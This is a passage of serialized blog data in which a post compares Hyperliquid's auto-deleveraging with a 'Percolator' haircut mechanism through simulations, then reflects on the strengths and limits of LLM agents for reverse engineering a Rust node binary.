mode.",{"type":23,"tag":70,"props":163948,"children":163950},{"id":163949},"simulations",[163951],{"type":28,"value":163952},"Simulations",{"type":23,"tag":24,"props":163954,"children":163955},{},[163956],{"type":28,"value":163957},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":163959,"children":163960},{},[163961],{"type":23,"tag":126,"props":163962,"children":163965},{"alt":163963,"src":163964},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":163967,"children":163968},{},[163969],{"type":28,"value":163970},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":163972,"children":163973},{},[163974],{"type":23,"tag":126,"props":163975,"children":163978},{"alt":163976,"src":163977},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":82,"props":163980,"children":163982},{"id":163981},"percolator-is-more-optimistic",[163983],{"type":28,"value":163984},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":163986,"children":163987},{},[163988,163990,163995,163997,164002,164004,164010,164012,164017],{"type":28,"value":163989},"The key difference is what happens to positions. ADL ",{"type":23,"tag":1887,"props":163991,"children":163992},{},[163993],{"type":28,"value":163994},"permanently closes",{"type":28,"value":163996}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":1887,"props":163998,"children":163999},{},[164000],{"type":28,"value":164001},"withdraw",{"type":28,"value":164003},", but the position stays open. If conditions improve, ",{"type":23,"tag":56,"props":164005,"children":164007},{"className":164006},[],[164008],{"type":28,"value":164009},"Residual",{"type":28,"value":164011}," goes up, ",{"type":23,"tag":56,"props":164013,"children":164015},{"className":164014},[],[164016],{"type":28,"value":83096},{"type":28,"value":164018}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":164020,"children":164021},{},[164022,164024,164028],{"type":28,"value":164023},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":1887,"props":164025,"children":164026},{},[164027],{"type":28,"value":19168},{"type":28,"value":164029}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":164031,"children":164032},{},[164033],{"type":23,"tag":126,"props":164034,"children":164037},{"alt":164035,"src":164036},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":70,"props":164039,"children":164041},{"id":164040},"some-points-to-be-made",[164042],{"type":28,"value":164043},"Some Points to Be Made",{"type":23,"tag":82,"props":164045,"children":164047},{"id":164046},"percolator-is-indifferent-to-leverage",[164048],{"type":28,"value":164049},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":164051,"children":164052},{},[164053],{"type":28,"value":164054},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":164056,"children":164057},{},[164058],{"type":23,"tag":126,"props":164059,"children":164062},{"alt":164060,"src":164061},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":82,"props":164064,"children":164066},{"id":164065},"fairness",[164067],{"type":28,"value":159620},{"type":23,"tag":24,"props":164069,"children":164070},{},[164071],{"type":28,"value":164072},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":164074,"children":164075},{},[164076],{"type":23,"tag":126,"props":164077,"children":164080},{"alt":164078,"src":164079},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":164082,"children":164083},{},[164084,164086,164091],{"type":28,"value":164085},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":56,"props":164087,"children":164089},{"className":164088},[],[164090],{"type":28,"value":158122},{"type":28,"value":164092}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":70,"props":164094,"children":164096},{"id":164095},"strengths-and-limitations-of-agents-for-reverse-engineering",[164097],{"type":28,"value":164098},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":164100,"children":164101},{},[164102],{"type":28,"value":164103},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":82,"props":164105,"children":164107},{"id":164106},"hooks",[164108],{"type":28,"value":164109},"Hooks",{"type":23,"tag":24,"props":164111,"children":164112},{},[164113,164115,164119],{"type":28,"value":164114},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":1887,"props":164116,"children":164117},{},[164118],{"type":28,"value":164106},{"type":28,"value":164120},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":164122,"children":164123},{},[164124],{"type":28,"value":164125},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":82,"props":164127,"children":164129},{"id":164128},"scale",[164130],{"type":28,"value":164131},"Scale",{"type":23,"tag":24,"props":164133,"children":164134},{},[164135],{"type":28,"value":164136},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":164138,"children":164139},{},[164140],{"type":28,"value":164141},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":82,"props":164143,"children":164145},{"id":164144},"whats-next",[164146],{"type":28,"value":164147},"What's next?",{"type":23,"tag":24,"props":164149,"children":164150},{},[164151],{"type":28,"value":164152},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":163823,"props":164154,"children":164155},{"url":157783},[],{"type":23,"tag":24,"props":164157,"children":164158},{},[164159],{"type":28,"value":164160},"The analyzed binary can be found here:",{"type":23,"tag":158103,"props":164162,"children":164165},{"path":164163,"name":157707,"size":164164},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":82,"props":164167,"children":164169},{"id":164168},"closing-words",[164170],{"type":28,"value":164171},"Closing Words",{"type":23,"tag":24,"props":164173,"children":164174},{},[164175],{"type":28,"value":164176},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":164178,"children":164179},{},[164180,164182,164187],{"type":28,"value":164181},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":1887,"props":164183,"children":164184},{},[164185],{"type":28,"value":164186},"manual",{"type":28,"value":164188}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":24,"props":164190,"children":164191},{},[164192],{"type":28,"value":164193},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":164195,"children":164196},{},[164197],{"type":28,"value":164198},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":164200,"props":164201,"children":164202},"report-footnotes",{},[164203],{"type":23,"tag":41,"props":164204,"children":164205},{},[164206,164211,164238,164243,164248],{"type":23,"tag":45,"props":164207,"children":164208},{},[164209],{"type":28,"value":164210},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":45,"props":164212,"children":164213},{},[164214,164220,164222,164228,164230,164236],{"type":23,"tag":56,"props":164215,"children":164217},{"className":164216},[],[164218],{"type":28,"value":164219},"compute_user_margin_and_shortfall",{"type":28,"value":164221}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":56,"props":164223,"children":164225},{"className":164224},[],[164226],{"type":28,"value":164227},"0x748",{"type":28,"value":164229}," in the abstract expressions of ",{"type":23,"tag":56,"props":164231,"children":164233},{"className":164232},[],[164234],{"type":28,"value":164235},"btree_cursor",{"type":28,"value":164237},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":45,"props":164239,"children":164240},{},[164241],{"type":28,"value":164242},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":45,"props":164244,"children":164245},{},[164246],{"type":28,"value":164247},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":45,"props":164249,"children":164250},{},[164251,164253,164259],{"type":28,"value":164252},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":56,"props":164254,"children":164256},{"className":164255},[],[164257],{"type":28,"value":164258},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":320},{"title":7,"searchDepth":540,"depth":540,"links":164261},[164262,164263,164264,164265,164266,164269,164270,164271,164274,164275,164278,164282],{"id":157653,"depth":540,"text":157656},{"id":157646,"depth":540,"text":157674},{"id":157731,"depth":540,"text":157734},{"id":158012,"depth":540,"text":158015},{"id":158046,"depth":540,"text":158049,"children":164267},[164268],{"id":158185,"depth":555,"text":158188},{"id":158964,"depth":540,"text":158967},{"id":159060,"depth":540,"text":159063},{"id":159278,"depth":540,"text":159281,"children":164272},[164273],{"id":159523,"depth":555,"text":159526},{"id":159583,"depth":540,"text":159586},{"id":163949,"depth":540,"text":163952,"children":164276},[164277],{"id":163981,"depth":555,"text":163984},{"id":164040,"depth":540,"text":164043,"children":164279},[164280,164281],{"id":164046,"depth":555,"text":164049},{"id":164065,"depth":555,"text":159620},{"id":164095,"depth":540,"text":164098,"children":164283},[164284,164285,164286,164287],{"id":164106,"depth":555,"text":164109},{"id":164128,"depth":555,"text":164131},{"id":164144,"depth":555,"text":164147},{"id":164168,"depth":555,"text":164171},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630611]